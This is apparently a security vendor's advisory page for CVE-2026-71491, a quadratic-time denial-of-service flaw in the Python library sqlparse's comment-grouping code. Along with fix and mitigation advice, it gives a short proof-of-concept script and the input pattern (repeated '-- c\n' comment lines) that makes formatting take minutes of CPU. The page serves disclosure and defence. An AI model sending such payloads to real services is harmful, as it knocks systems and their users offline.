How severe is CVE-2026-71491?

No CVSS score has been assigned to CVE-2026-71491 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2026-71491?

CVE-2026-71491 affects the following packages: sqlparse (PyPI). Ecosystems affected: PyPI.

How do I fix CVE-2026-71491?

Update sqlparse to 0.6.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-71491 is resolved across your whole dependency graph.

How do I detect CVE-2026-71491 in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sqlparse. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate CVE-2026-71491 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against CVE-2026-71491?

O3 pinpoints whether CVE-2026-71491 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is CVE-2026-71491 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-71491 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What type of vulnerability is CVE-2026-71491?

CVE-2026-71491 is classified as Uncontrolled Resource Consumption (CWE-400), CWE-407 (CWE-407). These weakness types describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was CVE-2026-71491 published, and has it been updated?

CVE-2026-71491 was published on August 17, 2026 and was last updated on August 17, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍 PyPI

Not in CISA KEV

CVE-2026-71491

Fix: andialbrecht/sqlparse@ef2012a

CVE-2026-71491 is a Uncontrolled Resource Consumption vulnerability in sqlparse. O3 Security confirms whether CVE-2026-71491 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

sqlparse: Quadratic O(n²) DoS in group_comments

Published

Aug 17, 2026

Updated

Aug 17, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Aug 17, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-71491.

Real-World Exposure

1 pkg affected

🐍sqlparse

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A comment-only statement (-- c\n*n) may cause a Denial of Service (DoS).

Details

Location: sqlparse/engine/grouping.py:331-341 (group_comments), invoked first in group() at grouping.py:439. Reachable via sqlparse.parse() and sqlparse.format(sql, strip_comments=True).

A statement made of many single-line comments ('-- c\n' repeated) lexes in O(n) but group_comments is O(n²):

def group_comments(tlist):
    tidx, token = tlist.token_next_by(t=T.Comment)
    while token:
        eidx, end = tlist.token_not_matching(
            lambda tk: imt(tk, t=T.Comment) or tk.is_newline, idx=tidx)
        ...
        tidx, token = tlist.token_next_by(t=T.Comment, idx=tidx)

The while loop runs n times and each token_next_by / token_not_matching rescans the O(n) remaining tokens. When all tokens are comments/newlines nothing ever groups, yet the full scan is repeated per token.

Two following factors increase the severity:

group_comments runs first in group() (grouping.py:439), before the _group_matching token-count guard (grouping.py:34-39). So the entire quadratic cost is paid even on oversized input. MAX_GROUPING_TOKENS does not provide protection on this vector.
It sits on the primary sanitizer path: format(sql, strip_comments=True), used by query loggers, SQL firewalls, ORMs, and migration tools.

PoC

Tested using Python 3.14:

import time, sqlparse
for n in (1000, 2000, 4000):
    s = "-- c\n" * n
    t = time.perf_counter()
    sqlparse.format(s, strip_comments=True)
    print(f"n={n:5d}  format(strip_comments)={1000*(time.perf_counter()-t):7.1f} ms")

Output:

n= 1000  format(strip_comments)=  106.0 ms
n= 2000  format(strip_comments)=  403.3 ms
n= 4000  format(strip_comments)= 1602.8 ms

Time increase of ~4× per 2× input (quadratic). parse() shows the identical curve. Instrumented scan counts are exactly 1.0M / 4.0M / 16.0M tokens for n=1000/2000/4000. A ~250 KB comment-only payload forces minutes of CPU regardless of the 10000 token cap.

Impact

Denial of Service

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`sqlparse`	all versions	0.6.0

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sqlparse. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update sqlparse to 0.6.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-71491 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-71491 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to CVE-2026-71491. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A comment-only statement (`-- c\n`*n) may cause a Denial of Service (DoS). ### Details Location: [sqlparse/engine/grouping.py:331-341](https://github.com/andialbrecht/sqlparse/blob/f80af6a4007f11ada847218df8c29dc859238290/sqlparse/engine/grouping.py#L332) (`group_comments`), invoked first in `group()` at `grouping.py:439`. Reachable via `sqlparse.parse()` and `sqlparse.format(sql, strip_comments=True)`. A statement made of many single-line comments (`'-- c\n'` repeated) lexes in O(n) but `group_comments` is O(n²): ```python def group_comments(tlist): tidx, token = tlist.toke

O3 Security · Impact-Aware SCA

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